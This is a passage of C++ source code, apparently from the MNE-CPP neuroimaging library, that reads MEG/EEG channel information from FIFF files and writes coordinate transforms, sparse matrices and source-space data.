#include "../fwd_eeg_sphere_model_set.h"
#include "../fwd_bem_model.h"
#include <mne/c/mne_named_matrix.h>
#include <mne/c/mne_nearest.h>
#include <mne/c/mne_source_space_old.h>
#include <fiff/c/fiff_sparse_matrix.h>
#include <fiff/fiff_types.h>
#include <time.h>
#include <QCoreApplication>
#include <QFile>
#include <QDir>
using namespace Eigen;
using namespace FWDLIB;
using namespace FIFFLIB;
using namespace MNELIB;
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
#ifndef FAIL
#define FAIL -1
#endif
#ifndef OK
#define OK 0
#endif
#define X_41 0
#define Y_41 1
#define Z_41 2
#define ALLOC_ICMATRIX_41(x,y) mne_imatrix_41((x),(y))
#define MALLOC_41(x,t) (t *)malloc((x)*sizeof(t))
#define REALLOC_41(x,y,t) (t *)((x == Q_NULLPTR) ? malloc((y)*sizeof(t)) : realloc((x),(y)*sizeof(t)))
#define FREE_41(x) if ((char *)(x) != Q_NULLPTR) free((char *)(x))
#define VEC_COPY_41(to,from) {\
(to)[X_41] = (from)[X_41];\
(to)[Y_41] = (from)[Y_41];\
(to)[Z_41] = (from)[Z_41];\
}
#define VEC_DOT_41(x,y) ((x)[X_41]*(y)[X_41] + (x)[Y_41]*(y)[Y_41] + (x)[Z_41]*(y)[Z_41])
#define VEC_LEN_41(x) sqrt(VEC_DOT_41(x,x))
#define ALLOC_CMATRIX_41(x,y) mne_cmatrix_41((x),(y))
#define FREE_CMATRIX_41(m) mne_free_cmatrix_41((m))
#define FREE_ICMATRIX_41(m) mne_free_icmatrix_41((m))
static void matrix_error_41(int kind, int nr, int nc)
{
if (kind == 1)
printf("Failed to allocate memory pointers for a %d x %d matrix\n",nr,nc);
else if (kind == 2)
printf("Failed to allocate memory for a %d x %d matrix\n",nr,nc);
else
printf("Allocation error for a %d x %d matrix\n",nr,nc);
if (sizeof(void *) == 4) {
printf("This is probably because you seem to be using a computer with 32-bit architecture.\n");
printf("Please consider moving to a 64-bit platform.");
}
printf("Cannot continue. Sorry.\n");
exit(1);
}
float **mne_cmatrix_41(int nr,int nc)
{
int i;
float **m;
float *whole;
m = MALLOC_41(nr,float *);
if (!m) matrix_error_41(1,nr,nc);
whole = MALLOC_41(nr*nc,float);
if (!whole) matrix_error_41(2,nr,nc);
for(i=0;i<nr;i++)
m[i] = whole + i*nc;
return m;
}
int **mne_imatrix_41(int nr,int nc)
{
int i,**m;
int *whole;
m = MALLOC_41(nr,int *);
if (!m) matrix_error_41(1,nr,nc);
whole = MALLOC_41(nr*nc,int);
if (!whole) matrix_error_41(2,nr,nc);
for(i=0;i<nr;i++)
m[i] = whole + i*nc;
return m;
}
void mne_free_cmatrix_41 (float **m)
{
if (m) {
FREE_41(*m);
FREE_41(m);
}
}
void mne_free_icmatrix_41 (int **m)
{
if (m) {
FREE_41(*m);
FREE_41(m);
}
}
fiffId get_file_id(const QString& name)
{
QFile file(name);
FiffStream::SPtr stream(new FiffStream(&file));
fiffId id;
if(!stream->open()) {
stream->close();
return Q_NULLPTR;
}
else {
id = MALLOC_41(1,fiffIdRec);
id->version = stream->id().version; /**< File version */
id->machid[0] = stream->id().machid[0]; /**< Unique machine ID */
id->machid[1] = stream->id().machid[1];
id->time = stream->id().time; /**< Time of the ID creation */
stream->close();
return id;
}
}
//============================= mne_read_forward_solution.c =============================
int mne_read_meg_comp_eeg_ch_info_41(const QString& name,
QList<FiffChInfo>& megp, /* MEG channels */
int* nmegp,
QList<FiffChInfo>& meg_compp,
int* nmeg_compp,
QList<FiffChInfo>& eegp, /* EEG channels */
int* neegp,
FiffCoordTransOld** meg_head_t,
fiffId* idp) /* The measurement ID */
/*
* Read the channel information and split it into three arrays,
* one for MEG, one for MEG compensation channels, and one for EEG
*/
{
QFile file(name);
FiffStream::SPtr stream(new FiffStream(&file));
QList<FiffChInfo> chs;
int nchan = 0;
QList<FiffChInfo> meg;
int nmeg = 0;
QList<FiffChInfo> meg_comp;
int nmeg_comp = 0;
QList<FiffChInfo> eeg;
int neeg = 0;
fiffId id = Q_NULLPTR;
QList<FiffDirNode::SPtr> nodes;
FiffDirNode::SPtr info;
FiffTag::SPtr t_pTag;
FiffChInfo this_ch;
FiffCoordTransOld* t = Q_NULLPTR;
fiff_int_t kind, pos;
int j,k,to_find;
if(!stream->open())
goto bad;
nodes = stream->dirtree()->dir_tree_find(FIFFB_MNE_PARENT_MEAS_FILE);
if (nodes.size() == 0) {
nodes = stream->dirtree()->dir_tree_find(FIFFB_MEAS_INFO);
if (nodes.size() == 0) {
qCritical ("Could not find the channel information.");
goto bad;
}
}
info = nodes[0];
to_find = 0;
for (k = 0; k < info->nent(); k++) {
kind = info->dir[k]->kind;
pos = info->dir[k]->pos;
switch (kind) {
case FIFF_NCHAN :
if (!stream->read_tag(t_pTag,pos))
goto bad;
nchan = *t_pTag->toInt();
for (j = 0; j < nchan; j++) {
chs.append(FiffChInfo());
chs[j].scanNo = -1;
}
to_find = nchan;
break;
case FIFF_PARENT_BLOCK_ID :
if(!stream->read_tag(t_pTag, pos))
goto bad;
// id = t_pTag->toFiffID();
*id = *(fiffId)t_pTag->data();
break;
case FIFF_COORD_TRANS :
if(!stream->read_tag(t_pTag, pos))
goto bad;
// t = t_pTag->toCoordTrans();
t = FiffCoordTransOld::read_helper( t_pTag );
if (t->from != FIFFV_COORD_DEVICE || t->to != FIFFV_COORD_HEAD)
t = Q_NULLPTR;
break;
case FIFF_CH_INFO : /* Information about one channel */
if(!stream->read_tag(t_pTag, pos))
goto bad;
this_ch = t_pTag->toChInfo();
if (this_ch.scanNo <= 0 || this_ch.scanNo > nchan) {
printf ("FIFF_CH_INFO : scan # out of range %d (%d)!",this_ch.scanNo,nchan);
goto bad;
}
else
chs[this_ch.scanNo-1] = this_ch;
to_find--;
break;
}
}
if (to_find != 0) {
qCritical("Some of the channel information was missing.");
goto bad;
}
if (t == Q_NULLPTR && meg_head_t != Q_NULLPTR) {
/*
* Try again in a more general fashion
*/
if ((t = FiffCoordTransOld::mne_read_meas_transform(name)) == Q_NULLPTR) {
qCritical("MEG -> head coordinate transformation not found.");
goto bad;
}
}
/*
* Sort out the channels
*/
for (k = 0; k < nchan; k++) {
if (chs[k].kind == FIFFV_MEG_CH) {
meg.append(chs[k]);
nmeg++;
} else if (chs[k].kind == FIFFV_REF_MEG_CH) {
meg_comp.append(chs[k]);
nmeg_comp++;
} else if (chs[k].kind == FIFFV_EEG_CH) {
eeg.append(chs[k]);
neeg++;
}
}
// fiff_close(in);
stream->close();
megp = meg;
if(nmegp) {
*nmegp = nmeg;
}
meg_compp = meg_comp;
if(nmeg_compp) {
*nmeg_compp = nmeg_comp;
}
eegp = eeg;
if(neegp) {
*neegp = neeg;
}
if (idp == Q_NULLPTR) {
FREE_41(id);
} else {
*idp = id;
}
if (meg_head_t == Q_NULLPTR) {
FREE_41(t);
} else {
*meg_head_t = t;
}
return FIFF_OK;
bad : {
// fiff_close(in);
stream->close();
FREE_41(id);
// FREE_41(tag.data);
FREE_41(t);
return FIFF_FAIL;
}
}
int mne_check_chinfo(const QList<FiffChInfo>& chs,
int nch)
/*
* Check that all EEG channels have reasonable locations
*/
{
int k;
FiffChInfo ch;
float close = 0.02;
for (k = 0; k < nch; k++) {
if (chs.at(k).kind == FIFFV_EEG_CH) {
if (chs.at(k).chpos.r0.norm() < close) {
qCritical("Some EEG channels do not have locations assigned.");
return FAIL;
}
}
}
return OK;
}
//=============================================================================================================
// Temporary Helpers
//=============================================================================================================
void write_id_old(FiffStream::SPtr& t_pStream, fiff_int_t kind, fiffId id)
{
fiffId t_id = id;
if(t_id->version == -1)
{
/* initialize random seed: */
srand ( time(Q_NULLPTR) );
double rand_1 = (double)(rand() % 100);rand_1 /= 100;
double rand_2 = (double)(rand() % 100);rand_2 /= 100;
time_t seconds;
seconds = time (Q_NULLPTR);
//fiff_int_t timezone = 5; // Matlab does not know the timezone
t_id->version = (1 << 16) | 2; // Version (1 << 16) | 2
t_id->machid[0] = 65536*rand_1; // Machine id is random for now
t_id->machid[1] = 65536*rand_2; // Machine id is random for now
t_id->time.secs = (int)seconds; //seconds since January 1, 1970 //3600*(24*(now-datenum(1970,1,1,0,0,0))+timezone);
t_id->time.usecs = 0; // Do not know how we could get this
}
//
//
fiff_int_t datasize = 5*4; // The id comprises five integers
*t_pStream << (qint32)kind;
*t_pStream << (qint32)FIFFT_ID_STRUCT;
*t_pStream << (qint32)datasize;
*t_pStream << (qint32)FIFFV_NEXT_SEQ;
//
// Collect the bits together for one write
//
qint32 data[5];
data[0] = t_id->version;
data[1] = t_id->machid[0];
data[2] = t_id->machid[1];
data[3] = t_id->time.secs;
data[4] = t_id->time.usecs;
for(qint32 i = 0; i < 5; ++i)
*t_pStream << data[i];
}
//=============================================================================================================
void write_coord_trans_old(FiffStream::SPtr& t_pStream, const FiffCoordTransOld* trans)
{
//?typedef struct _fiffCoordTransRec {
// fiff_int_t from; /*!< Source coordinate system. */
// fiff_int_t to; /*!< Destination coordinate system. */
// fiff_float_t rot[3][3]; /*!< The forward transform (rotation part) */
// fiff_float_t move[3]; /*!< The forward transform (translation part) */
// fiff_float_t invrot[3][3]; /*!< The inverse transform (rotation part) */
// fiff_float_t invmove[3]; /*!< The inverse transform (translation part) */
//} *fiffCoordTrans, fiffCoordTransRec; /*!< Coordinate transformation descriptor */
fiff_int_t datasize = 4*2*12 + 4*2;
*t_pStream << (qint32)FIFF_COORD_TRANS;
*t_pStream << (qint32)FIFFT_COORD_TRANS_STRUCT;
*t_pStream << (qint32)datasize;
*t_pStream << (qint32)FIFFV_NEXT_SEQ;
//
// Start writing fiffCoordTransRec
//
*t_pStream << (qint32)trans->from;
*t_pStream << (qint32)trans->to;
//
// The transform...
//
qint32 r, c;
for (r = 0; r < 3; ++r)
for (c = 0; c < 3; ++c)
*t_pStream << (float)trans->rot(r,c);
for (r = 0; r < 3; ++r)
*t_pStream << (float)trans->move[r];
//
// ...and its inverse
//
for (r = 0; r < 3; ++r)
for (c = 0; c < 3; ++c)
*t_pStream << (float)trans->invrot(r,c);
for (r = 0; r < 3; ++r)
*t_pStream << (float)trans->invmove[r];
}
static int **make_file_triangle_list_41(int **tris, int ntri)
/*
* In the file the numbering starts from one
*/
{
int **res = ALLOC_ICMATRIX_41(ntri,3);
int j,k;
for (j = 0; j < ntri; j++)
for (k = 0; k < 3; k++)
res[j][k] = tris[j][k]+1;
return res;
}
void mne_write_bad_channel_list_new(FiffStream::SPtr& t_pStream, const QStringList& t_badList)//FILE *out, char **list, int nlist)
{
t_pStream->start_block(FIFFB_MNE_BAD_CHANNELS);
t_pStream->write_name_list(FIFF_MNE_CH_NAME_LIST,t_badList);
t_pStream->end_block(FIFFB_MNE_BAD_CHANNELS);
/////////////////////////////////////////////////////////
// fiff_int_t bad_channel_block = FIFFB_MNE_BAD_CHANNELS;
// fiffTagRec bad_channel_block_tags[] = {
// { FIFF_BLOCK_START, FIFFT_INT, 0, FIFFV_NEXT_SEQ, Q_NULLPTR },
// { FIFF_MNE_CH_NAME_LIST, FIFFT_STRING, 0, FIFFV_NEXT_SEQ, Q_NULLPTR },
// { FIFF_BLOCK_END, FIFFT_INT, 0, FIFFV_NEXT_SEQ, Q_NULLPTR }};
// int nbad_channel_block_tags = 3;
// char *names = Q_NULLPTR;
// int k;
// if (nlist <= 0)
// return OK;
// names = mne_name_list_to_string(list,nlist);
// bad_channel_block_tags[0].size = sizeof(fiff_int_t);
// bad_channel_block_tags[0].data = &bad_channel_block;
// bad_channel_block_tags[1].size = strlen(names);
// bad_channel_block_tags[1].data = names;
// bad_channel_block_tags[2].size = sizeof(fiff_int_t);
// bad_channel_block_tags[2].data = &bad_channel_block;
// for (k = 0; k < nbad_channel_block_tags; k++)
// if (fiff_write_tag(out,bad_channel_block_tags+k) == FIFF_FAIL) {
// FREE(names);
// return FAIL;
// }
// FREE(names);
// return OK;
}
void fiff_write_float_matrix_old ( FiffStream::SPtr& t_pStream, /* Destination file name */
int kind, /* What kind of tag */
fiff_float_t **data, /* The data to write */
int rows,
int cols) /* Number of rows and columns */
/*
* Write out a 2D floating-point matrix
*/
{
MatrixXf mat(rows,cols);
for (int i = 0; i < rows; ++i) {
for(int j = 0; j < cols; ++j) {
mat(i,j) = data[i][j];
}
}
t_pStream->write_float_matrix(kind, mat);
// int res,*dims;
// fiffTagRec tag;
//#ifdef INTEL_X86_ARCH
// int c;
//#endif
// int k;
// int rowsize;
// tag.kind = kind;
// tag.type = FIFFT_FLOAT | FIFFT_MATRIX;
// tag.size = rows*cols*sizeof(fiff_float_t) + 3*sizeof(fiff_int_t);
// tag.data = Q_NULLPTR;
// tag.next = FIFFV_NEXT_SEQ;
// if ((res = fiff_write_tag_info(out,&tag)) == -1)
// return FIFF_FAIL;
// rowsize = cols*sizeof(fiff_float_t);
// for (k = 0; k < rows; k++) {
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// swap_float(data[k]+c);
//#endif
// if (fwrite (data[k],rowsize,1,out) != 1) {
// if (ferror(out))
// err_set_sys_error("fwrite");
// else
// err_set_error("fwrite failed");
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// swap_float(data[k]+c);
//#endif
// return FIFF_FAIL;
// }
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// swap_float(data[k]+c);
//#endif
// }
// dims = MALLOC_41(3,fiff_int_t);
// dims[0] = swap_int(cols);
// dims[1] = swap_int(rows);
// dims[2] = swap_int(2);
// if (fwrite (dims,3*sizeof(fiff_int_t),1,out) != 1) {
// if (ferror(out))
// err_set_sys_error("fwrite");
// else
// err_set_error("fwrite failed");
// FREE(dims);
// return FIFF_FAIL;
// }
// FREE(dims);
// return res;
}
void fiff_write_int_matrix_old ( FiffStream::SPtr& t_pStream,
int kind, /* What kind of tag */
fiff_int_t **data, /* The data to write */
int rows,
int cols) /* Number of rows and columns */
/*
* Write out a 2D integer matrix
*/
{
MatrixXi mat(rows,cols);
for (int i = 0; i < rows; ++i) {
for(int j = 0; j < cols; ++j) {
mat(i,j) = data[i][j];
}
}
t_pStream->write_int_matrix(kind, mat);
// int res,*dims;
// fiffTagRec tag;
//#ifdef INTEL_X86_ARCH
// int c;
//#endif
// int k;
// int rowsize;
// tag.kind = kind;
// tag.type = FIFFT_INT | FIFFT_MATRIX;
// tag.size = rows*cols*sizeof(fiff_int_t) + 3*sizeof(fiff_int_t);
// tag.data = Q_NULLPTR;
// tag.next = FIFFV_NEXT_SEQ;
// if ((res = fiff_write_tag_info(out,&tag)) == -1)
// return -1;
// rowsize = cols*sizeof(fiff_int_t);
// for (k = 0; k < rows; k++) {
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// data[k][c] = swap_int(data[k][c]);
//#endif
// if (fwrite (data[k],rowsize,1,out) != 1) {
// if (ferror(out))
// err_set_sys_error("fwrite");
// else
// err_set_error("fwrite failed");
// return -1;
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// data[k][c] = swap_int(data[k][c]);
//#endif
// }
//#ifdef INTEL_X86_ARCH
// for (c = 0; c < cols; c++)
// data[k][c] = swap_int(data[k][c]);
//#endif
// }
// dims = MALLOC_41(3,fiff_int_t);
// dims[0] = swap_int(cols);
// dims[1] = swap_int(rows);
// dims[2] = swap_int(2);
// if (fwrite (dims,3*sizeof(fiff_int_t),1,out) != 1) {
// if (ferror(out))
// err_set_sys_error("fwrite");
// else
// err_set_error("fwrite failed");
// FREE(dims);
// return -1;
// }
// FREE(dims);
// return res;
}
int fiff_write_float_sparse_matrix_old(FiffStream::SPtr& t_pStream, int kind, FiffSparseMatrix* mat)
/*
* Write a sparse matrix
*/
{
FiffTag::SPtr tag;
int k;
int type;
int datasize,idxsize,ptrsize;
int two = 2;
int res;
int val;
datasize = mat->nz * sizeof(fiff_float_t);
idxsize = mat->nz * sizeof(fiff_int_t);
if (mat->coding == FIFFTS_MC_CCS)
ptrsize = (mat->n+1) * sizeof(fiff_int_t);
else if (mat->coding == FIFFTS_MC_RCS)
ptrsize = (mat->m+1) * sizeof(fiff_int_t);
else {
qCritical("Incomprehensible sparse matrix coding");
return FIFF_FAIL;
}
if (datasize <= 0 || idxsize <= 0 || ptrsize <= 0) {
qCritical("fiff_write_float_ccs_matrix: negative vector size(s) in sparse matrix!\n");
return FIFF_FAIL;
}
// tag.kind = kind;
if (mat->coding == FIFFTS_MC_CCS)
type = FIFFT_FLOAT | FIFFT_CCS_MATRIX;//tag.type = FIFFT_FLOAT | FIFFT_CCS_MATRIX;
else if (mat->coding == FIFFTS_MC_RCS)
type = FIFFT_FLOAT | FIFFT_RCS_MATRIX;//tag.type = FIFFT_FLOAT | FIFFT_RCS_MATRIX;
else {
qCritical("Incomprehensible sparse matrix coding");
return FIFF_FAIL;
}
// tag.size = datasize+idxsize+ptrsize+4*sizeof(fiff_int_t);
// tag.data = Q_NULLPTR;
// tag.next = FIFFV_NEXT_SEQ;
//Write Tag Info
*t_pStream << (qint32)kind;
*t_pStream << (qint32)type;
*t_pStream << (qint32)(datasize+idxsize+ptrsize+4*sizeof(fiff_int_t));
*t_pStream << (qint32)FIFFV_NEXT_SEQ;
// if (fiff_write_tag_info(out,&tag) == FIFF_FAIL)
// return FIFF_FAIL;
/*
* Write data
*/
for(k = 0; k < mat->nz; ++k)
*t_pStream << mat->data[k];
// /*
// * Write data with swapping
// */
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->nz; k++)
// swap_floatp(mat->data+k);
//#endif
// res = fwrite (mat->data,datasize,1,out);
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->nz; k++)
// swap_floatp(mat->data+k);
//#endif
// if (res != 1)
// goto fwrite_error;
/*
* Write indexes
*/
for(k = 0; k < mat->nz; ++k)
*t_pStream << mat->inds[k];
// /*
// * Write indexes with swapping
// */
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->nz; k++)
// swap_intp(mat->inds+k);
//#endif
// res = fwrite (mat->inds,idxsize,1,out);
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->nz; k++)
// swap_intp(mat->inds+k);
//#endif
// if (res != 1)
// goto fwrite_error;
if (mat->coding == FIFFTS_MC_CCS) {
for(k = 0; k < mat->n+1; ++k)
*t_pStream << mat->ptrs[k];
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->n+1; k++)
// swap_intp(mat->ptrs+k);
//#endif
// res = fwrite (mat->ptrs,ptrsize,1,out);
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->n+1; k++)
// swap_intp(mat->ptrs+k);
//#endif
// if (res != 1)
// goto fwrite_error;
}
else { /* Row-compressed format */
for(k = 0; k < mat->m+1; ++k)
*t_pStream << mat->ptrs[k];
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->m+1; k++)
// swap_intp(mat->ptrs+k);
//#endif
// res = fwrite (mat->ptrs,ptrsize,1,out);
//#ifdef INTEL_X86_ARCH
// for (k = 0; k < mat->m+1; k++)
// swap_intp(mat->ptrs+k);
//#endif
// if (res != 1)
// goto fwrite_error;
}
/*
* Write the dimensions
*/
*t_pStream << (qint32)mat->nz;
// val = swap_int(mat->nz);
// if (fwrite (&val,sizeof(fiff_int_t),1,out) != 1)
// goto fwrite_error;
*t_pStream << (qint32)mat->m;
// val = swap_int(mat->m);
// if (fwrite (&val,sizeof(fiff_int_t),1,out) != 1)
// goto fwrite_error;
*t_pStream << (qint32)mat->n;
// val = swap_int(mat->n);
// if (fwrite (&val,sizeof(fiff_int_t),1,out) != 1)
// goto fwrite_error;
*t_pStream << (qint32)two;
// val = swap_int(two);
// if (fwrite (&val,sizeof(fiff_int_t),1,out) != 1)
// goto fwrite_error;
return FIFF_OK;
//fwrite_error : {
//// if (ferror(out))
//// qCritical("fwrite");
//// else
//// err_set_error("fwrite failed");
// return FIFF_FAIL;
// }
}
static int comp_points2(const void *vp1,const void *vp2)
{
MneNearest* v1 = (MneNearest*)vp1;
MneNearest* v2 = (MneNearest*)vp2;
if (v1->vert > v2->vert)
return 1;
else if (v1->vert == v2->vert)
return 0;
else
return -1;
}
void mne_sort_nearest_by_vertex(MneNearest* points, int npoint)
{
if (npoint > 1 && points != Q_NULLPTR)
qsort(points,npoint,sizeof(MneNearest),comp_points2);
return;
}
FiffSparseMatrix* mne_create_sparse_rcs(int nrow, /* Number of rows */
int ncol, /* Number of columns */
int *nnz, /* Number of non-zero elements on each row */
int **colindex, /* Column indices of non-zero elements on each row */
float **vals) /* The nonzero elements on each row
* If Q_NULLPTR, the matrix will be all zeroes */
{
FiffSparseMatrix* sparse = Q_NULLPTR;
int j,k,nz,ptr,size,ind;
int stor_type = FIFFTS_MC_RCS;
for (j = 0, nz = 0; j < nrow; j++)
nz = nz + nnz[j];
if (nz <= 0) {
qCritical("No nonzero elements specified.");
return Q_NULLPTR;
}
if (stor_type == FIFFTS_MC_RCS) {
size = nz*(sizeof(fiff_float_t) + sizeof(fiff_int_t)) +
(nrow+1)*(sizeof(fiff_int_t));
}
else {
qCritical("Illegal sparse matrix storage type: %d",stor_type);
return Q_NULLPTR;
}
sparse = new FiffSparseMatrix;
sparse->coding = stor_type;
sparse->m = nrow;
sparse->n = ncol;
sparse->nz = nz;
sparse->data = (float *)malloc(size);
sparse->inds = (int *)(sparse->data+nz);
sparse->ptrs = sparse->inds+nz;
for (j = 0, nz = 0; j < nrow; j++) {
ptr = -1;
for (k = 0; k < nnz[j]; k++) {
if (ptr < 0)
ptr = nz;
ind = sparse->inds[nz] = colindex[j][k];
if (ind < 0 || ind >= ncol) {
qCritical("Column index out of range in mne_create_sparse_rcs");
goto bad;
}
if (vals)
sparse->data[nz] = vals[j][k];
else
sparse->data[nz] = 0.0;
nz++;
}
sparse->ptrs[j] = ptr;
}
sparse->ptrs[nrow] = nz;
for (j = nrow-1; j >= 0; j--) /* Take care of the empty rows */
if (sparse->ptrs[j] < 0)
sparse->ptrs[j] = sparse->ptrs[j+1];
return sparse;
bad : {
if(sparse)
delete sparse;
return Q_NULLPTR;
}
}
FiffSparseMatrix* mne_pick_lower_triangle_rcs(FiffSparseMatrix* mat)
/*
* Fill in upper triangle with the lower triangle values
*/
{
int *nnz = Q_NULLPTR;
int **colindex = Q_NULLPTR;
float **vals = Q_NULLPTR;
FiffSparseMatrix* res = Q_NULLPTR;
int i,j,k;
if (mat->coding != FIFFTS_MC_RCS) {
qCritical("The input matrix to mne_add_upper_triangle_rcs must be in RCS format");
goto out;
}
if (mat->m != mat->n) {
qCritical("The input matrix to mne_pick_lower_triangle_rcs must be square");
goto out;
}
/*
* Pick the lower triangle elements
*/
nnz = MALLOC_41(mat->m,int);
colindex = MALLOC_41(mat->m,int *);
vals = MALLOC_41(mat->m,float *);
for (i = 0; i < mat->m; i++) {
nnz[i] = mat->ptrs[i+1] - mat->ptrs[i];
if (nnz[i] > 0) {
colindex[i] = MALLOC_41(nnz[i],int);
vals[i] = MALLOC_41(nnz[i],float);
for (j = mat->ptrs[i], k = 0; j < mat->ptrs[i+1]; j++) {
if (mat->inds[j] <= i) {
vals[i][k] = mat->data[j];
colindex[i][k] = mat->inds[j];
k++;
}
}
nnz[i] = k;
}
else {
colindex[i] = Q_NULLPTR;
vals[i] = Q_NULLPTR;
}
}
/*
* Assemble the matrix
*/
res = mne_create_sparse_rcs(mat->m,mat->n,nnz,colindex,vals);
out : {
for (i = 0; i < mat->m; i++) {
FREE_41(colindex[i]);
FREE_41(vals[i]);
}
FREE_41(nnz);
FREE_41(vals);
FREE_41(colindex);
return res;
}
}
static int write_volume_space_info(FiffStream::SPtr& t_pStream, MneSourceSpaceOld* ss, int selected_only)
/*
* Write the vertex neighbors and other information for a volume source space
*/
{
int ntot,nvert;
int *nneighbors = Q_NULLPTR;
int *neighbors = Q_NULLPTR;
int *inuse_map = Q_NULLPTR;
int nneigh,*neigh;
int k,p;
fiffTagRec tag;
int res = FAIL;
if (ss->type != FIFFV_MNE_SPACE_VOLUME)
return OK;
if (!ss->neighbor_vert || !ss->nneighbor_vert)
return OK;
if (selected_only) {
inuse_map = MALLOC_41(ss->np,int);
for (k = 0,p = 0, ntot = 0; k < ss->np; k++) {
if (ss->inuse[k]) {
ntot += ss->nneighbor_vert[k];
inuse_map[k] = p++;
}
else
inuse_map[k] = -1;
}
nneighbors = MALLOC_41(ss->nuse,int);
neighbors = MALLOC_41(ntot,int);
/*
* Pick the neighbors and fix the vertex numbering to refer
* to the vertices in use only
*/
for (k = 0, nvert = 0, ntot = 0; k < ss->np; k++) {
if (ss->inuse[k]) {
neigh = ss->neighbor_vert[k];
nneigh = ss->nneighbor_vert[k];
nneighbors[nvert++] = nneigh;
for (p = 0; p < nneigh; p++)
neighbors[ntot++] = neigh[p] < 0 ? -1 : inuse_map[neigh[p]];
}
}
}
else {
for (k = 0, ntot = 0; k < ss->np; k++)
ntot += ss->nneighbor_vert[k];
nneighbors = MALLOC_41(ss->np,int);
neighbors = MALLOC_41(ntot,int);
nvert = ss->np;
for (k = 0, ntot = 0; k < ss->np; k++) {
neigh = ss->neighbor_vert[k];
nneigh = ss->nneighbor_vert[k];
nneighbors[k] = nneigh;
for (p = 0; p < nneigh; p++)
neighbors[ntot++] = neigh[p];
}
}
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NNEIGHBORS,nneighbors,nvert);
// tag.next = FIFFV_NEXT_SEQ;
// tag.kind = FIFF_MNE_SOURCE_SPACE_NNEIGHBORS;
// tag.type = FIFFT_INT;
// tag.size = nvert*sizeof(fiff_int_t);
// tag.data = (fiff_byte_t *)nneighbors;
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto out;
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NEIGHBORS,neighbors,ntot);
// tag.next = FIFFV_NEXT_SEQ;
// tag.kind = FIFF_MNE_SOURCE_SPACE_NEIGHBORS;
// tag.type = FIFFT_INT;
// tag.size = ntot*sizeof(fiff_int_t);
// tag.data = (fiff_byte_t *)neighbors;
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto out;
/*
* Write some additional stuff
*/
if (!selected_only) {
if (ss->voxel_surf_RAS_t) {
write_coord_trans_old(t_pStream, ss->voxel_surf_RAS_t);//t_pStream->write_coord_trans(ss->voxel_surf_RAS_t);
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_VOXEL_DIMS,ss->vol_dims,3);
// tag.next = FIFFV_NEXT_SEQ;
// tag.kind = FIFF_MNE_SOURCE_SPACE_VOXEL_DIMS;
// tag.type = FIFFT_INT;
// tag.size = 3*sizeof(fiff_int_t);
// tag.data = (fiff_byte_t *)ss->vol_dims;
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto out;
}
if (ss->interpolator && !ss->MRI_volume.isEmpty()) {
t_pStream->start_block(FIFFB_MNE_PARENT_MRI_FILE);
if (ss->MRI_surf_RAS_RAS_t)
write_coord_trans_old(t_pStream, ss->MRI_surf_RAS_RAS_t);//t_pStream->write_coord_trans(ss->MRI_surf_RAS_RAS_t);
if (ss->MRI_voxel_surf_RAS_t)
write_coord_trans_old(t_pStream, ss->MRI_voxel_surf_RAS_t);//t_pStream->write_coord_trans(ss->MRI_voxel_surf_RAS_t);
t_pStream->write_string(FIFF_MNE_FILE_NAME,ss->MRI_volume);
if (ss->interpolator)
fiff_write_float_sparse_matrix_old(t_pStream,FIFF_MNE_SOURCE_SPACE_INTERPOLATOR,ss->interpolator);
if (ss->MRI_vol_dims[0] > 0 && ss->MRI_vol_dims[1] > 0 && ss->MRI_vol_dims[2] > 0) {
t_pStream->write_int(FIFF_MRI_WIDTH,&ss->MRI_vol_dims[0]);
t_pStream->write_int(FIFF_MRI_HEIGHT,&ss->MRI_vol_dims[1]);
t_pStream->write_int(FIFF_MRI_DEPTH,&ss->MRI_vol_dims[2]);
}
t_pStream->end_block(FIFFB_MNE_PARENT_MRI_FILE);
}
}
else {
if (ss->interpolator && !ss->MRI_volume.isEmpty()) {
t_pStream->write_string(FIFF_MNE_SOURCE_SPACE_MRI_FILE,ss->MRI_volume);
qCritical("Cannot write the interpolator for selection yet");
goto out;
}
}
res = OK;
goto out;
out : {
FREE_41(inuse_map);
FREE_41(nneighbors);
FREE_41(neighbors);
return res;
}
}
int mne_write_one_source_space(FiffStream::SPtr& t_pStream, MneSourceSpaceOld* ss,bool selected_only)
{
float **sel = Q_NULLPTR;
int **tris = Q_NULLPTR;
int *nearest = Q_NULLPTR;
float *nearest_dist = Q_NULLPTR;
int p,pp;
if (ss->np <= 0) {
qCritical("No points in the source space being saved");
goto bad;
}
t_pStream->start_block(FIFFB_MNE_SOURCE_SPACE);
/*
* General information
*/
if (ss->type != FIFFV_MNE_SPACE_UNKNOWN)
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_TYPE,&ss->type);
if (ss->id != FIFFV_MNE_SURF_UNKNOWN)
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_ID,&ss->id);
if (!ss->subject.isEmpty() && ss->subject.size() > 0) {
QString subj(ss->subject);
t_pStream->write_string(FIFF_SUBJ_HIS_ID,subj);
}
t_pStream->write_int(FIFF_MNE_COORD_FRAME,&ss->coord_frame);
if (selected_only) {
if (ss->nuse == 0) {
qCritical("No vertices in use. Cannot write active-only vertices from this source space");
goto bad;
}
sel = ALLOC_CMATRIX_41(ss->nuse,3);
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NPOINTS,&ss->nuse);
for (p = 0, pp = 0; p < ss->np; p++) {
if (ss->inuse[p]) {
sel[pp][X_41] = ss->rr[p][X_41];
sel[pp][Y_41] = ss->rr[p][Y_41];
sel[pp][Z_41] = ss->rr[p][Z_41];
pp++;
}
